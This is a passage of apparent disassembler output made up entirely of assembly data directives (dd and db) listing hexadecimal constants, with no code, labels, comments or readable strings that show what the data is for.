		dd 611180FFh, 0B42B0800h, 7A2A3797h, 0C14888CDh, 8C2A269Fh
		dd 0C063313Eh, 0A84C7788h, 8DF4080Ch, 0A9C4EC26h, 0F4145740h
		dd 3C0BDB7Eh, 86266930h, 90B8DA1Eh, 0E9C80F2Eh,	33FA31h
		dd 8D23F1BAh, 0F97626EDh, 6C637601h, 0AFBB29B8h, 2A6D9880h
		dd 98BA3A1Fh, 99F6C1F8h, 0A5B18C0h, 80BD3250h, 0A6051508h
		dd 0D1F69211h, 0C0818808h, 0B673128Ch, 458633E8h, 1284C055h
		dd 0E2ED4101h, 0E0436615h, 3CDB6CC0h, 39244BB5h, 5D70E30h
		dd 0F0BBEFA0h, 0CC0AFC70h, 8CD1590Fh, 80753281h, 23E85888h
		dd 94F6F35h, 5D9221F8h,	1AAF8000h, 0BDA13E76h, 24D952DEh
		dd 0BF30C6F2h, 251505F8h, 261A5B27h, 88525084h,	128B057Ch
		dd 76C4B66Eh, 80477C48h, 5D128305h, 6E056BC0h, 0F880CFA7h
		dd 870C81Eh, 28436F91h,	128031D2h, 60843FC2h, 89F40804h
		dd 950C2610h, 0F4108BB0h, 39016E01h, 2F18DD31h,	0D1D079A1h
		dd 7C26184Ah, 21510083h, 5D02C1DDh, 0AB10BBD6h,	450C46AEh
		dd 67303436h, 0A9C6587Eh, 8CE3Eh, 3A2B12F8h, 0A0A8B782h
		dd 0B1246C30h, 0CE814023h, 0BC348FF0h, 0C5D33098h, 10808A48h
		dd 9C07A7Fh, 14268CF4h,	0B4447CA4h, 0F411008Ah,	0CB2136B0h
		dd 374544E8h, 0E03EB07Bh, 13838900h, 5C300AFBh,	79850565h
		dd 3E4687h, 7DAFB814h, 0C20212AEh, 0BF52212Eh, 0B04B42B9h
		dd 9A3B5688h, 0A3E10018h, 59AD0845h, 0D11D9F64h, 0F7C00FF4h
		dd 0B9E42635h, 0FC9D4DA3h, 6801D448h, 0F5BAA513h, 0F8CC20DEh
		dd 27FDD81Eh, 0C3B02884h, 10B6B0C8h, 50221243h,	25783580h
		dd 949E3424h, 3F096C20h, 11D45A93h, 73181168h, 58868008h
		dd 43CAC469h, 80805B94h, 2B091E0h, 0AAABF216h, 7468DD45h
		dd 0BA096E3Bh, 8FD9C2F1h, 3C248648h, 6CB5E879h,	401849D8h
		dd 0B0B6CF88h, 0F13C1821h, 987721DEh, 785700E9h, 1455E809h
		dd 0F0422D67h, 7018123h, 4268AF4h, 0F8C010Eh, 0D7BADCF4h
		dd 0CC3053CDh, 0A42458D9h, 9B5CEC79h, 0C8A01F4h, 1996B608h
		dd 82B120D6h, 0CB09270Ch, 2038A15Eh, 0A5266E94h, 0FCD50732h
		dd 836230E9h, 87C16CEh,	8571F33Fh, 6CC42A51h, 9EC649C0h
		dd 1DCFA98h, 3A1B0D1Ah,	0FFFD09EDh, 8032A391h, 3704AA38h
		dd 0F4C6375h, 4D81F1E1h, 0F8BA80E0h, 0CD30D661h, 2A52612Eh
		dd 997D0363h, 0B1A1C225h, 214D0930h, 76331F2h, 50CABD04h
		dd 1EFAF086h, 0E430CD2Eh
		dd 70DD80D0h, 195D61B5h, 0CEB06Dh, 40FE697Fh, 24F0E438h
		dd 12E87D4Fh, 7A772606h, 8200F95Eh, 0D907E88Ch,	711E8191h
		dd 7508CCE1h, 0D4002021h, 1D028EE8h, 0E6D9112h,	0E0FCA43Eh
		dd 0A2D953E0h, 50CA1DFh, 0E048783Bh, 27048C93h,	2D998063h
		dd 0EF204B62h, 50632Eh,	20F488B0h, 93E785E2h, 1E235B01h
		dd 0B34F1149h, 2A3532C8h, 0B0A8FEh, 889F1585h, 2286062Eh
		dd 0D1F5DEF2h, 21B9B4h,	47F29F0Dh, 7A5F6C35h, 3271C063h
		dd 4A8A48D9h, 583F8CA3h, 921A8308h, 88229988h, 0C8A436A5h
		dd 28C0D4C8h, 53997F63h, 0F080D435h, 2231632Fh,	0D630CC90h
		dd 7335603Eh, 178800D4h, 74863244h, 77FE3408h, 8C06F898h
		dd 96410A7Dh, 70305288h, 8B9F0802h, 0B3310E2Eh,	9EE06710h
		dd 0D4062BE0h, 3DAE4958h, 0D4DC4870h, 500B424h,	60742638h
		dd 12E887F4h, 11A9D923h, 0C94876h, 66568AE8h, 0C36A9EACh
		dd 3A50D719h, 0E6CED10Ch, 6E7A1861h, 0E5E02159h, 7C8D0F1Ch
		dd 0D87D0103h, 1432250h, 0E3798030h, 9132DC2Ah,	8E807590h
		dd 0E1D909E8h, 2268448Ch, 0F0E8D600h, 6DE33798h, 2A6A3A0Ah
		dd 0E074C618h, 28C017B9h, 9B18AE62h, 31130076h,	6AA2C7Ch
		dd 6C1A8196h, 17B16A2Fh, 816A9140h, 169705DDh, 356BE140h
		dd 0FFCA24B8h, 0C33C08C0h, 0F264D70Eh, 48500420h, 10AA0169h
		dd 0AF038B23h, 2C7DD4C3h, 8DDB6F00h, 7C536D8Eh,	3C9979h
		dd 0DE342A58h, 600E65B4h, 0A55AFE0Dh, 0CC806CA3h, 48050FF6h
		dd 680AD088h, 2AC3C0Eh,	91D6F26h, 0D36B5C69h, 0B1AC03A4h
		dd 0E1590063h, 3D2AFC5Fh, 0ED1CDCAEh, 0D5468E67h, 0B820A0h
		dd 0AD56FDE1h, 7226DADEh, 0A21DC51Dh, 0EF9B4380h, 1A8A1B0h
		dd 0C38332BDh, 2086351Ah, 652899FCh, 8C2080D3h,	0FBDF13B5h
		dd 0CA600A8h, 0DC62BAA2h, 64A5AC19h, 0A3304489h, 0A4719Bh
		dd 277EE1DFh, 34E522DCh, 0CB060C90h, 8555129Ah,	48290260h
		dd 0D21F9A8h, 364CCD40h, 0E80411D1h, 405F30E2h,	0D9EDA910h
		dd 8D4B2900h, 361A35EFh, 938400FFh, 73E2A05Eh, 28C4AF62h
		dd 0C348D7F1h, 2491EC42h, 0D45521B7h, 0AD101712h, 8CB897Bh
		dd 2B8F44EFh, 162C40h, 8E737B3Ah, 4A2746BDh, 0EE0705ECh
		dd 0C458708h, 5881C0D0h, 3AA50E8Ah, 80E0AA59h, 0C2BEEB9Bh
		dd 0F2301700h, 326F5706h, 948D0F4Fh, 9F454E37h,	9B948031h
		dd 7D00ACA5h, 2BEF3C95h, 70F46F2Eh, 5FEB00CFh, 998CFCFFh
		dd 0D300830Dh, 19033077h, 74AA84BEh, 0B67300BFh, 0A7C2E68Dh
		dd 800548Fh, 5A5853C4h,	706C655Dh, 1D67FEA3h, 403E5602h
		dd 84C14704h, 0DEECC9FEh, 86C4A000h, 7CB114F9h,	1A440043h
		dd 0AF99F1B7h, 0AB07D313h, 2F0C0DFFh, 0D0FEA023h, 3DDEB3Ch
		dd 2C79F352h, 8E181CC6h, 155020C8h, 8CD100AAh, 0A9C00D58h
		dd 33007C9Bh, 8E98FDA6h, 8BB9F2h, 55AC2921h, 89F91B97h
		dd 76A31A00h, 832E6C8Ch, 75A0C04Ch, 136BECEBh, 0F8104D65h
		dd 851CD509h, 890CC0F7h, 7BB61E2h, 0F332978Bh, 40C8A0F1h
		dd 0D4F8B2EEh, 0BD548A02h, 831966E4h, 98826190h, 0CF1A517Bh
		dd 0BC804310h, 0F8931E48h, 350410Fh, 0F54C0349h, 0F62FE81Bh
		dd 0E9440E7Dh, 0BD69777Ch, 0CD841381h, 0AC637094h, 0B238B374h
		dd 0D6040028h, 3CBF0567h, 0F812000Bh, 9A421331h, 0D0030AAFh
		dd 456EEC8Eh, 4B283803h, 0C5935802h, 0A0806D39h, 7746B996h
		dd 0D0FA0E00h, 1A15228Ch, 0B6650323h, 0D4C65676h, 0DAF0F000h
		dd 8B436EB1h, 0D9691347h, 778001A7h, 0DC4B63F1h, 511C67D5h
		dd 0AD80AAFAh, 544316BEh, 59770109h, 0ECAF9B96h, 0FF4EE435h
		dd 0F6109560h, 2A7AEBh,	2381E669h, 0CE43EC88h, 37F0E100h
		dd 0AB2F4605h, 748028B8h, 4DC01FACh, 8C7D8019h,	0DAF9EA33h
		dd 0A81ED07Dh, 6AA4DEA9h, 4DB78D00h, 0EA85DF8Fh, 0F2A100BBh
		dd 0C141A820h, 7C1E2A77h, 4600571Dh, 8EE76889h,	0D5F40027h
		dd 4B2B5DD2h, 72001A14h, 7D9AC0B6h, 55C164Dh
		db 0Ah,	4, 0C3h
		db 0A7h
		dd 27C0BBB1h, 987E0E63h, 8DBA008Bh, 4D5875B9h, 0E167BFE9h
		dd 0D908970h, 0AAB2A6h,	6471AC40h, 27A0D88Ah, 0F70CC207h
		dd 8C91A5AEh, 0C1E49F8Bh, 4B124854h, 0FB43400h,	0EB4E5180h
		dd 980095F8h, 23F8F324h, 5A65542h, 6BB5B129h, 28880091h
		dd 64958E35h, 0D6D28200h, 1613C3A9h, 56FE0EEBh,	9B422E4Ah
		dd 2CC04C8Eh, 0ED00645Ch, 32A6A791h, 0E6E7D4h, 221B1373h
		dd 47D557B8h, 9676B303h, 0EAA92574h, 0E644555h,	0C01DB35Ah
		dd 948EE98h, 839032D2h,	5D76700Bh, 351880E3h, 0C4DF75h
		dd 51422722h, 4AE5528h,	0B8843F9h, 75410E88h, 90103260h
		dd 6078127Bh, 0CDC821C1h, 0F1B8627Dh, 0C5319200h, 0DE7F7D4h
		dd 13780C3Ah, 2D28AD27h, 8A12F173h, 83044E4Fh, 0CC83C1A3h
		dd 0E4D1B0F7h, 29230938h, 10389C02h, 0B307AAA0h, 26E646D4h
		dd 40426EE2h, 0E26651C0h, 0A09300F3h, 0C6D8EA08h, 730095E6h
		dd 0B81F5C3Ah, 0EA9BF004h, 0E780C08Fh, 87DA207Dh, 0CC00A490h
		dd 53121814h, 3E4D648h,	3B6854D8h, 2000E3B7h, 0C3062FB9h
		dd 0BD2E8Fh, 7BBAE7C2h,	75B76765h, 6C4B661Dh, 822D7C01h
		dd 7EE091D0h, 0D1C60081h, 9C6E305Ch, 14FC5BABh,	8FBC3902h
		dd 687B4DCAh, 3C853C38h, 0C7007C57h, 6BCB9A2h, 0FC0EF9E2h
		dd 60392247h, 1D7F5482h, 7A2300D7h, 0BA5F468Fh,	9F0086CFh
		dd 0E9C510FCh, 390C4334h, 1101B81Ah, 166C7DFAh,	0BD73D448h
		dd 0D6C29802h, 68ECC53Dh, 0A3F358h, 8D4E76A8h, 88A1A693h
		dd 0FB0B5B00h, 0E757980Eh, 761F0734h, 20BACB11h, 4CDAA303h
		dd 0BCC0EC00h, 0AD9C1041h, 4D62006Ch, 1AA6A2B3h, 841CAF0Dh
		dd 0B4802192h, 6A04F357h, 0CC07000Ch, 5D4291E1h, 0AF09C4B9h
		dd 60D8052Fh, 2D4FFD4h,	0D97D38Fh, 9C60BFE5h, 5D2C51DFh
		dd 26044063h, 4C804D43h, 5C942h, 0C40A9D1h, 0C571B110h
		dd 80DD1505h, 0AB0570FFh, 2EC02859h, 8C3373h, 1785761Eh
		dd 364A027Eh, 13E88007h, 0DF807298h, 76153Fh, 9789C54h
		dd 0E3CE3460h, 7180A00h, 40CAAAEAh, 100B607Ah, 0F7359580h
		dd 0C2925000h, 383C56FFh, 2F591EBEh, 62960027h,	0C3D64986h
		dd 1348DC02h, 40937852h, 3C5134F4h, 860089A2h, 0C7B5C5DEh
		dd 0F707021Fh, 3A466312h, 50829F20h, 71570179h,	0AB9E6970h
		dd 0EAE0ECB2h, 1FDFF200h, 6C1C3637h, 175B10C9h,	0BD190075h
		dd 0E3125507h, 80680E9Dh, 0F1200ED0h, 9079BCF3h, 1E01E000h
		dd 2FE80FC8h, 1507033Ah, 0A7CFE2AEh, 3B5C7C09h,	35E88061h
		dd 5009B05Bh, 10B083h, 0A56DBD04h, 0D93E6C29h, 71EBE500h
		dd 0D1962E1Bh, 0AF77C9h, 9CB8FE50h, 28F62190h, 0E7949E12h
		dd 0DC6AB002h, 3A64C013h, 0B5D9042h, 7E0AF9B9h,	36C44F81h
		dd 82B3C419h, 0A23A0E00h, 0EC686033h, 86F09Eh, 544B34FDh
		dd 41462F39h, 6102D900h, 7FAF3A38h, 0ECD40088h,	3C50B4A0h
		dd 1809C1BCh, 0B1A880h,	7FAC64A8h, 0EFA30ED3h, 2E6010CAh
		dd 70245209h, 64914A00h, 0C4D67CA9h, 0E24B067Eh, 0C0869EB6h
		dd 63C7DE00h, 9D111D39h, 7420ED70h, 0FB6824C5h,	0AC6E1EA8h
		dd 4EBA00DDh, 0FD832FADh, 88009CB0h, 7630E243h,	56A8B50h
		dd 5EEF93B8h, 399080DFh, 0CF3DFF1Bh, 0AA65AC66h, 0D6AD0Bh
		dd 1C99B2E8h, 0ED72CBh,	0CA2B240Ch, 3FC99A38h, 74CF20C0h
		dd 39F16928h, 9B001E84h, 0FB4B8E75h, 23018344h,	6F558B25h
		dd 62F2646Dh, 1EB800A7h, 3BE6560h, 9BDCCCBh, 4CC39CF8h
		dd 2FCC00DDh, 0BCA54587h, 1179700Ch, 9853194Dh,	0B0230120h
		dd 0F9B39A7Dh, 0DF188061h, 4DF5EA49h, 1CEF78E1h, 0C1393821h
		dd 927D7466h, 7886B053h, 1EB97747h, 0BBFBEA7h, 0B00074D0h
		dd 0C7933420h, 0C91F9270h, 1940378Ch, 0BFD482F2h, 7EDD0C9Eh
		dd 38F04532h, 0AEDA4303h, 90706C9Ah, 723B8DBh, 8AB976D2h
		dd 0D0CAB7BDh, 664CB6DFh, 0C50D1700h, 0B722316Bh, 20BE58A0h
		dd 0FBB81500h, 0AFF301CEh, 4C7D8A70h, 6C02DF00h, 0EEF1E188h
		dd 1D17FA2Eh, 8015C6E2h, 3C97EC01h, 4005AB39h, 6F235242h
		dd 0D832CE0Ch, 450038Bh, 0B30E865h, 3C6A2EB0h, 543EE100h
		dd 5FDE1CDFh, 95250060h, 0DBCE6515h, 320B83E2h,	12BC81h
		dd 8B025AC5h, 8C9C09D5h, 3900B7A1h, 12DED2A3h, 517AB47Eh
		dd 457D3300h, 6141684Ah, 0F85800FDh, 0CC8D183Dh, 0DC00E9DAh
		dd 48B61C2Fh, 1D2D5A92h, 4057993Eh, 656F6E5Dh, 0F3003F5Ch
		dd 9B805F06h, 259EEE2h,	5B23158Ch, 0FC402F70h, 3D764C04h
		dd 493F7C1Ch, 0B414B840h, 3097489h, 0D4B56895h,	0CC88C0FBh
		dd 0D300DF24h, 21E541B1h, 0CB3E1h, 6F68648Fh, 2A835E7Dh
		dd 0F8C14A18h, 3D9FFF51h, 25066EB7h, 286782F9h,	0CD358800h
		dd 5CAB21D2h, 0E8C100D6h, 0A9480E5Ah, 570186D5h, 7EE07170h
		dd 69F04487h, 0B667007Ah, 0FA59C3C8h, 3E0068E3h, 4BFFAFFBh
		dd 425CB12h, 0A79C82B7h, 98BC8265h, 0C37540E4h,	0B9A53F00h
		dd 794BCFB8h, 90AA586Bh, 55030F00h, 0E440A71Dh,	3F6D2E00h
		dd 0A4918BBCh, 0E8E30EF9h, 0AA81BBB9h, 0BAC85A60h, 16358548h
		dd 0FC70BACAh, 38B8EBFh, 6BC1B29Eh, 0F6E053BCh,	0F0DCCB75h
		dd 0C8B8F180h, 60F36114h, 84BFA9B9h, 8801BEC2h,	5CC68CAFh
		dd 30831C16h, 0B57E5118h, 0B48142CAh, 0EC0933A0h, 190C533Ch
		dd 281A668Dh, 25810F68h, 5B808523h, 0A98EF861h,	9EDEA83Fh
		dd 0AC005DDFh, 51F562DCh, 0EE8B08Ch, 2E6E5F7h, 1F90E3CAh
		dd 48D4A8CDh, 0A100C3D4h, 0A3F70632h, 0EF513D87h, 0B825F8C8h
		dd 5DCA5A00h, 0DE66C62Dh, 30160179h, 144DAD31h,	189C6395h
		dd 10395963h, 32FF3084h, 30311661h, 1C36000h, 0E6357AE3h
		dd 1FC24AEEh, 1653F4h, 0E5C588C0h, 150077B0h, 0DB4A4C51h
		dd 12A0A2B1h, 0C33089h,	0FA3822BCh, 501E903Ch, 0A1C0E437h
		dd 91BDEF5Bh, 0FD2F0094h, 13F7DF1Bh, 0ED00F08Bh, 7F6A84C1h
		dd 83E866h, 606DB7CBh, 5A8B991Ah, 198D8F58h, 0C6102970h
		dd 7C85F70h, 0FB3CF542h, 0FD9B2331h, 0C1B0DCB0h, 6B138200h
		dd 9551898Eh, 0E48F5893h, 0B69D5000h, 0FAEA8C6Dh, 2BD1B100h
		dd 6612EE3Ch, 5622097Fh, 8D80C332h, 8CC57C95h, 0FBA4501h
		dd 4EFB8BCFh, 3BCBD4h, 80104983h, 710B6FADh, 0FD13E4B0h
		dd 3C8AEBD0h, 8F25A00h,	0A57EA486h, 0F48C2051h,	0C090D3BCh
		dd 0A06AAD07h, 0BDC06121h, 98CD69C6h, 0AB4C00A4h, 96489DBCh
		dd 6400B0AFh, 87422A5Bh, 8A2E4Fh, 0D688F81Eh, 2B5DD0C5h
		dd 0B39D6D03h, 0D03C3D5Bh, 33816D4h, 0B0A9C0D5h, 9100918Eh
		dd 18D62597h, 697FF1h, 0AEF3409Ah, 0D3F86F2Dh, 0E5BBFB00h
		dd 68585201h, 2C4D05B6h, 0C43983F0h, 78CCB0E8h,	0A7DC8400h
		dd 551F1B6Fh, 17494C03h, 3491DA00h, 0ADE5C4CFh,	0AF072418h
		dd 3035CD58h, 8328527Dh, 0A87DA298h, 0EA2F5C0Bh, 981D8CBFh
		dd 3DC4037Ch, 76751BD0h, 8F9CB780h, 18DA903h, 88FCB049h
		dd 78F00Fh, 0FDDC72B2h,	2B1D7569h, 0E8988200h, 64C025F9h
		dd 6E9B0074h, 21455807h, 4EEC873Ah, 0C3B3E500h,	229733Fh
		dd 1A790149h, 0B1E0426h, 0ECA7F542h, 9B30870Ch,	3A28112Eh
		dd 0C0517469h, 43C5730h, 7720DA05h, 0D08B4981h,	399F9500h
		dd 189827EBh, 0ED627907h, 0DCD02090h, 2DA8183h,	0D5FF82A5h
		dd 88804374h, 50422B3Bh, 0F10CDF00h, 0DD8B79D8h, 19806C4h
		dd 60549A29h, 8EC71505h, 8881D79Bh, 8460B9D4h, 48690099h
		dd 0E9AAAD94h, 0B90FD73h
		dd 0E79C090Fh, 0EB3C40AFh, 9079EE08h, 0CA6703A4h, 6DADDB13h
		dd 0AF7FC407h, 58B0C5FCh, 0E45334Dh, 87B3859Eh,	0D9315A80h
		dd 0A91495E0h, 7FC0E740h, 0ADF77406h, 507A45h, 23BF23Fh
		dd 69D551DDh, 0C6646600h, 83BD4299h, 0AF9B0331h, 8139D23Ah
		dd 643CC095h, 98007776h, 0B22B380Ah, 3CCCF7Dh, 67F8E7DFh
		dd 58005D18h, 17A759F5h, 13BBE96Fh, 0C044968Ch,	0B9B3CFF0h
		dd 35AE4D00h, 2FB1520Ch, 47F702BCh, 0FEDE14E7h,	0AF974C40h
		dd 4D22BB00h, 7DD7D9A2h, 2DEB002Ah, 6B23248Ch, 0FA07E03Dh
		dd 2B83F316h, 29101F90h, 0BB683F28h, 0BEE7D380h, 4C4660BAh
		dd 487CE80Eh, 0A94FE1A1h, 1CED6FEEh, 0F7E7DC47h, 972FDFA1h
		dd 4C2088C5h, 86A3007Ch, 538D40E0h, 0CE009312h,	0BF285582h
		dd 0AB58BCh, 9542A91Ah,	8C0A247Eh, 64FCB0C5h, 0C4A055C4h
		dd 0BB630FDEh, 0F9C085CEh, 5255ADD1h, 364285Ch,	6C5B3D58h
		dd 0A51104C1h, 80CB1DB7h, 6E61E18Dh, 3FEBECA0h,	844B4C39h
		dd 1DEAE2D8h, 3666A8C0h, 0A7174C19h, 9982323Bh,	0AA11782Fh
		dd 0B0212840h, 1BA2C88h, 63BCEA1Fh, 0F3AAA685h,	0E080F2F2h
		dd 64525778h, 87A8B938h, 8D4D0CDBh, 0DC0019E5h,	3E01804Fh
		dd 0D0FF0735h, 0C875788Ch, 0C073F500h, 2C60CBh,	4FF6F414h
		dd 46F1020Eh, 0EA0A0700h, 1BD6FBF5h, 1D4CCDh, 2BB77100h
		dd 63349098h, 0C40070Fh, 77B6006Ah, 0AA0461h, 0F9228AA2h
		dd 0C0ABDB27h, 3447BB0Ah, 3A018CE8h, 8AF4F2DAh,	0E701AF8h
		dd 3956B84Fh, 0BF374740h, 2B012255h, 836F9A03h,	0A6E474E6h
		dd 0FDE91EF0h, 20CEC87h, 79B2A144h, 0B5EEAA60h,	0E041C55Bh
		dd 4A367363h, 72C430h, 81678960h, 0FBAE5980h, 0EF8FC202h
		dd 50D0033Ah, 7C0C02CCh, 6E076BB9h, 0CD090CC0h,	7F70F703h
		dd 0E892CAD7h, 579E4C0h, 5C476CF6h, 0CB6C8040h,	4309FB91h
		dd 6833D10Ah, 13F43450h, 487A5D04h, 2F4051A4h, 58F95325h
		dd 0F000281Fh, 0B60DC0F1h, 0BF0048A8h, 2AE8F514h, 80693B6Ch
		dd 0FD07FF56h, 0D454DF3Dh, 3ABD210h, 9EBB1519h,	0C725DCC4h
		dd 803FD454h, 7625E2DAh, 1CE35F41h, 0C9534437h,	0BC809490h
		dd 395B0BCDh, 0B9CA27h,	7C6BFB88h, 12050ED4h, 3BD61CCh
		dd 89E053F0h, 0B073819Ch, 93A4209Fh, 0FE037307h, 0A07FC7B2h
		dd 0A0C15C81h, 0CC3B0AB0h, 0ABDA18h, 88A2900Ah,	0E0C0ACF3h
		dd 0A64D3EEDh, 0AA441F91h, 256CC939h, 0D598D021h, 0D0580367h
		dd 13806B2Fh, 0F30345Fh, 63E0E5F5h, 2D0A2820h, 0E88C3501h
		dd 7585AE2Ch, 0C08B2894h, 0B4C09A80h, 230FCCF9h, 61AE437Ch
		dd 0A1633A12h, 795D9050h, 0A6610178h, 0EB94BDB4h, 2BDBC4FEh
		dd 143E3F0Fh, 6079E06Bh, 9E329D82h, 0DFAC18h, 27CFBAC6h
		dd 0E00FEFAh, 95473A67h, 58423F8Dh, 980022F2h, 0B9E37FDBh
		dd 14984541h, 1E0177FCh, 886FBD14h, 6BEC99B2h, 0A4715042h
		dd 0B889448h, 5C0285A8h, 2420C2D4h, 774B512Fh, 21FF028Dh
		dd 33425EF0h, 34B03863h, 0C5009607h, 6C5F937Ch,	74E25C75h
		dd 16EFAB8h, 0AF92E615h, 60C3CD17h, 9107F918h, 40B2FDA8h
		dd 0BDAB64C0h, 53420115h, 0DF4A4813h, 8797CCBAh, 4B84D00h
		dd 0FCA3C2CEh, 0B144009Fh, 273AF5F8h, 19004140h, 8887C66Eh
		dd 0D0816Ah, 7225351Ch,	7E3E8EECh, 6B805800h, 300FEDFCh
		dd 367E601h, 0D438A378h, 0EB0E1E0h, 5F162928h, 8C43B4B1h
		dd 0A8D5859Ah, 0DDAAA3h, 0DFA7A68Dh, 0E79F5E8Ah, 95CC8200h
		dd 8FCE787Ah, 38724880h, 77648601h, 0D4599976h,	5138A26Dh
		dd 119F8068h, 563832EFh, 60AD6074h, 0D9302CC0h,	6FC63301h
		dd 0B3CE155Fh, 0A43001D9h, 0CDFD1D5Dh, 2AD302BDh, 5CC8D94Dh
		dd 20A0CA55h, 0F80EDF30h, 807732DCh, 0F4B3FEF0h, 93A40046h
		dd 7D6F4131h, 0A8018526h, 32DABD11h, 96F02D4Ch,	12A9808Fh
		dd 2B14F91Eh, 7CF814h, 32BCFFE7h, 0E8931D39h, 6FDD01BBh
		dd 8F6E3F2Fh, 0CB98825Fh, 83AE615Dh, 0D88E24h, 0CDB55BA1h
		dd 4FB8BDB7h, 89D4A300h, 0B16C80D1h, 8CE70069h,	0DC648310h
		dd 941E6EBFh, 1C839DB5h, 0D8364126h, 0F7D7820h,	12C8278Bh
		dd 65A0EFAFh, 0B7D8F89Ch, 0F101F9D2h, 0EB6CCEB0h, 0A16FF8h
		dd 0B22647EEh, 6D7B353Ah, 4CA4330Eh, 0E1306701h, 0CDBDCB43h
		dd 44E87000h, 2B7490h, 0E36B2C7Ah, 8D9629DAh, 3575D777h
		dd 41306802h, 407D6Ah, 91C85FBBh, 0C3F18D60h, 0D0AC23h
		dd 4F1761Ah, 0A01735B6h, 5C1EDEB8h, 0C9837F34h,	907E312Ah
		dd 55E249h, 52F4B4CEh, 0D611B90Eh, 3ED098A8h, 0E02A940Fh
		dd 0E13366CBh, 92340019h, 0A47E8173h, 0D038E68h, 0BC77C34Fh
		dd 0E5C900ADh, 0B4C1DD39h, 0C6F0242Fh, 0CCF2C800h, 1E4A2B53h
		dd 0C3030031h, 0BCD9A55Dh, 9101402Fh, 0ABCB580Eh, 698AE532h
		dd 0C2F0F7h, 0E7C19954h, 8678C681h, 21BEA300h, 9EA2360h
		dd 413A3FCAh, 0E600A34Ch, 0A30E512Ah, 357C7F94h, 698EA80Eh
		dd 598B82C0h, 0AB04E818h, 98915438h, 2CE337BBh,	4A348019h
		dd 0DF60D936h, 3D2ADE11h, 463B0055h, 5FA2D72Dh,	0F7EE9A0Bh
		dd 9F160909h, 0F9280C18h, 443D3A86h, 0E4661C80h, 0D892DCC9h
		dd 1D80D360h, 43D0E8h, 572AB49Ch, 5CDCB72Bh, 410D0300h
		dd 9BCF9176h, 0F7FF0FDAh, 8FE18BEDh, 0FC732613h, 9800E794h
		dd 8A759940h, 0C27FD6B9h, 1BDFD228h, 1042C0F5h,	14B86Bh
		dd 8CCA5A36h, 0C9F87473h, 15F57F07h, 6080FFDBh,	3FE3BC56h
		dd 0D9D0EF9Ah, 0EC8A3C5Eh, 319C2D0Fh, 0F7FEC7C2h, 24738860h
		dd 79E54B16h, 9DA69C00h, 0A9F61h, 0BFBC1AA0h, 2DC777A7h
		dd 0ECAC3700h, 0F1AEC4C9h, 59FD0149h, 0BA310F95h, 4609F421h
		dd 7136D01Eh, 0DD8CE340h, 74D5C476h, 0D6C330FEh, 82CA15C8h
		dd 77A99B60h, 774339B5h, 0EA950001h, 0AE9E362h,	0B4E8CB83h
		dd 119D7A01h, 1E0F1575h, 63FCF430h, 0E812082Dh,	1BBB2000h
		dd 84939A75h, 0EB86Fh, 0EB50296h, 2564A459h, 0CFDE200h
		dd 42E13B93h, 18837F91h, 40ED6FADh, 200C97Dh, 1965551Fh
		dd 3A68CBD8h, 0D018BF11h, 52A20B5h, 1CF61E00h, 0A48C26B9h
		dd 0DFF80191h, 75634CE3h, 1828BC0Ch, 0E930C704h, 0D6D20718h
		dd 70433A2Bh, 0EB9D4466h, 21D1BF03h, 66C7354Bh,	907DE188h
		dd 0FC01B346h, 964DF1Eh, 0D3DE0CBEh, 1D7A0721h,	0B7E9C167h
		dd 8673F888h, 47E22F03h, 79443F51h, 605F1898h, 641218D6h
		dd 0B6024D18h, 7BB2D4A1h, 0B8471C3Ch, 92F59EBh,	0F42180BCh
		dd 7823CCAh, 779E0F6Ah,	0F5805215h, 0F67C260Fh,	12C55B00h
		dd 3C05D1C0h, 69C10007h, 6CE86633h, 5800754Eh, 0E91C72D2h
		dd 2C960B0h, 98AD2991h,	45406252h, 7A0F0B83h, 1FA7E7h
		dd 68063D8Fh, 0C9D30036h, 0B78D57D7h, 0BB006B28h, 971EBF7Dh
		dd 0A08F450Dh, 5A7CB3h,	2CB290Eh, 0BE4C4FEFh, 8A786605h
		dd 46B72A5h, 0DA206C2Bh, 18FC041Dh, 10D9445Ah, 0FB003909h
		dd 0AD1246F5h, 67A1885Bh, 0C692299Ch, 182C3961h, 7A00E66Ah
		dd 787C7F40h, 79C0E6Fh,	1A801E25h, 85298C80h, 2047C801h
		dd 9AFA2FB2h, 18134880h, 9CB4EC09h, 2C451112h, 0F3808001h
		dd 0CE44857h, 868A3060h, 50FC7220h, 313CD714h, 0DC07E320h
		dd 0A546F960h, 5944BC01h, 0A61EA0C2h, 0ABA3880h, 648CAAACh
		dd 0A274F000h, 6AFECA92h, 38FA00D4h, 884ACF3Ah,	0F1C0A415h
		dd 0B6E365ADh, 4ED7016Eh, 0C8BA620h, 6A9C5073h,	0A0A882BDh
		dd 51005B6Bh, 1B7FB353h
		dd 1A23D2Eh, 0DEE34C96h, 308B2CAFh, 9018CD13h, 6B418DE1h
		dd 0F3091D10h, 0A97CC66Eh, 0C100A929h, 30968C8Ah, 1D36B03Dh
		dd 0C62167h, 47FC0995h,	86611F28h, 9F885279h, 403B5840h
		dd 4650015Eh, 2AB90D11h, 0BCC970ABh, 0F1549050h, 0FAA47300h
		dd 0F4758FB8h, 0DF69010Ah, 0A3145D94h, 9394414Dh, 0A884B1FBh
		dd 998021A9h, 1F7C4FA0h, 0C80AADA4h, 0F49D020Ch, 0F9458A00h
		dd 0A14AF25h, 1C2818FAh, 7D5458Ch, 0C143AC24h, 0D8C33588h
		dd 0CD015C52h, 0A4B35AF8h, 0A3F4177Ch, 38736895h, 1C508158h
		dd 0C8121065h, 0B00232Ch, 794B9CD1h, 1E69F284h,	40B273CEh
		dd 519F17F6h, 435431F3h, 2F720F80h, 0A3E58000h,	1E7B17C2h
		dd 0F16E01AFh, 0A8884E5Eh, 3A6C2299h, 906444FBh, 40F94530h
		dd 9A879E26h, 62846052h, 91F38BF0h, 9022F2D8h, 3F86163Ah
		dd 706D2830h, 206C89A1h, 0D0000A0Eh, 0C57C7E1Ah, 553EE4h
		dd 6A13672Ah, 8B07AF5Fh, 88BD60C6h, 8E7A0089h, 0F92781C9h
		dd 0DB3017A6h, 68B90BAh, 2979C320h, 31146D1Ch, 11DC5EF9h
		dd 87157FF3h, 4D0358A0h, 892B9E0Ah, 79976910h, 0C1205400h
		dd 0E0357523h, 51B31800h, 0EA2A374Ch, 93740A96h, 0E5F8DA39h
		dd 118013D7h, 0B90080D9h, 4044A298h, 5377856Fh,	214D3903h
		dd 0E5E33ED3h, 5649C01Eh, 0A6148802h, 88F49214h, 61BF8075h
		dd 0D249F265h, 27231C01h, 1FC19EEEh, 8EB030F3h,	0D2B1D29h
		dd 0FB1C8200h, 9CEFAD4Dh, 207E28h, 48A1D40Fh, 0D6787734h
